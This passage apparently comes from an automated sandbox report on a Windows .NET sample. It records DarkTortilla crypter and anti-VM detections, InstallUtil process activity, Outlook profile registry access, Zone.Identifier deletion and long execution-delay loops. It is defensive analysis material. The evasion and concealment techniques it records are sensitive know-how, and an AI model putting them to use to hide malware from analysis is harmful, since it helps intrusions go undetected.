Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: pbCN4g6sN5.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: pbCN4g6sN5.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected DarkTortilla Crypter

Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.36a2f30.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.365d150.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.4b30000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.36a2f30.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.4b30000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.365d150.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2383848177.0000000004B30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2376499978.0000000002551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbCN4g6sN5.exe PID: 5696, type: MEMORYSTR

.NET source code contains method to dynamically call methods (often used by packers)

Source: pbCN4g6sN5.exe, o1K.cs

.Net Code: NewLateBinding.LateCall(obj, (Type)null, "invoke", new object[2]{null,new object[0]}, (string[])null, (Type[])null, (bool[])null, true)

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0597E0DF push ds; retf	0_2_0597E0EF
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_05977C42 push eax; ret	0_2_05977C49
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_06D0814D pushfd ; retf	0_2_06D0814E
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0764BFBA pushad ; ret	0_2_0764C015
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_0764984F push esp; retf 6987h	0_2_07649AB9
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_077F9745 push edx; ret	0_2_077F974B
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Code function: 0_2_077F2555 push edi; iretd	0_2_077F2556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BEA088 pushad ; retn 0002h	5_2_02BEA0EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE9089 push ebx; retn 0002h	5_2_02BE908A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BEA0E8 pushad ; retn 0002h	5_2_02BEA0EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE9611 push edi; retn 0002h	5_2_02BE9612
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE8490 push edx; retn 0002h	5_2_02BE8EEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE8481 push ecx; retn 0002h	5_2_02BE8482
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE9468 push esi; retn A802h	5_2_02BE961A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE9459 push esi; retn 0002h	5_2_02BE945A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE48D7 push eax; retn 0070h	5_2_02BE4922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE498A push eax; retn 0070h	5_2_02BE4962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE4927 push eax; retn 0070h	5_2_02BE4912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE4927 push eax; retn 0070h	5_2_02BE4962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE4977 push eax; retn 0070h	5_2_02BE4982
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_02BE9DE0 pushad ; retn 0002h	5_2_02BEA02A

Source: pbCN4g6sN5.exe

Static PE information: section name: .text entropy: 7.045918402735076

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

File opened: C:\Users\user\Desktop\pbCN4g6sN5.exe\:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: pbCN4g6sN5.exe PID: 5696, type: MEMORYSTR

Tries to delay execution (extensive OutputDebugStringW loop)

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Section loaded: OutputDebugStringW count: 1938

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory allocated: A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory allocated: 2550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory allocated: 2390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory allocated: 7CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory allocated: 8CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory allocated: 8EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory allocated: 9EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory allocated: A270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory allocated: B270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory allocated: C270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 12F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4DC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599867	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599077	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598851	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598504	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597170	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595968	Jump to behavior
